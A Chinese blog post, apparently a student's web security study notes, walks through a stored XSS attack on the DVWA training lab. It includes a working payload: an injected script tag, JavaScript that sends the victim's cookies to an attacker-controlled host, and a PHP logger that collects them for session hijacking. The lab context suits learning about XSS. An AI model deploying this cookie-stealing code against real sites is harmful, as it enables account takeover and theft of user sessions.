首页 > Web开发 > 详细

Web安全测试学习笔记 - 存储型XSS

时间:2019-12-04 12:06:33      阅读:87      评论:0      收藏:0      [点我收藏+]

XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert(‘ok‘)</script>的代码,那么这个网站就有被XSS攻击的风险,到底有什么风险呢?又是怎么被攻击的呢?sorry,我也不知道>_<

 

我用DVWA来练习存储型XSS,目标是窃取用户账号(通过拿到对方的登录cookie)。我在本机再开一台虚拟机,用虚拟机(模拟另一个用户)访问:http://IP地址/dvwa/vulnerabilities/xss_s/。这个页面是不是很像留言或者评论页面~

技术分享图片

 

security level = low

1.  在本机登录(模拟攻击方),输入时发现Name做了长度限制,而Message没有,所以攻击点在Message的输入框

     输入:<script src="http://172.24.107.155/test.js"></script>

     技术分享图片

     技术分享图片

     刷新一下当前页面,刚插入的记录仍然存在,说明恶意代码已经被“存储”在这个页面了~

2. 在本机的php服务下放入js代码文件和php文件。

   js文件用来在被攻击方采集cookie并传入php页面,php页面将cookie存入名为cookies的文件中。

   test.js文件内容:

var img = document.createElement("img")
img.src = "http://本机ip地址/test.php?cookies="+escape(document.cookie);
document.body.appendChild(img);

  test.php文件内容:

<?php
$cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies");
?>

技术分享图片

3. 在虚拟机登录(模拟被攻击方),访问刚才的页面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻击方也能看到刚才上传的那条记录(此时js代码已经被执行了..>_<..):

技术分享图片

4. 获得登录凭证

    攻击方此时啥也不用再干,守株待兔,等着js吧cookie发送到本机后,到刚才放入test.js和test.php文件的地方,会发现多了一个名为cookies的文件~

    技术分享图片

     打开cookies文件,里面记录了被攻击方的登陆cookie:

    技术分享图片

    拿到对方的登录凭证之后,我们就能通过构造http请求(把对方的cookie传进去),以对方的身份操作网站,如果对方的是admin的话,Hmm......

 

Web安全测试学习笔记 - 存储型XSS

原文:https://www.cnblogs.com/sallyzhang/p/11951361.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!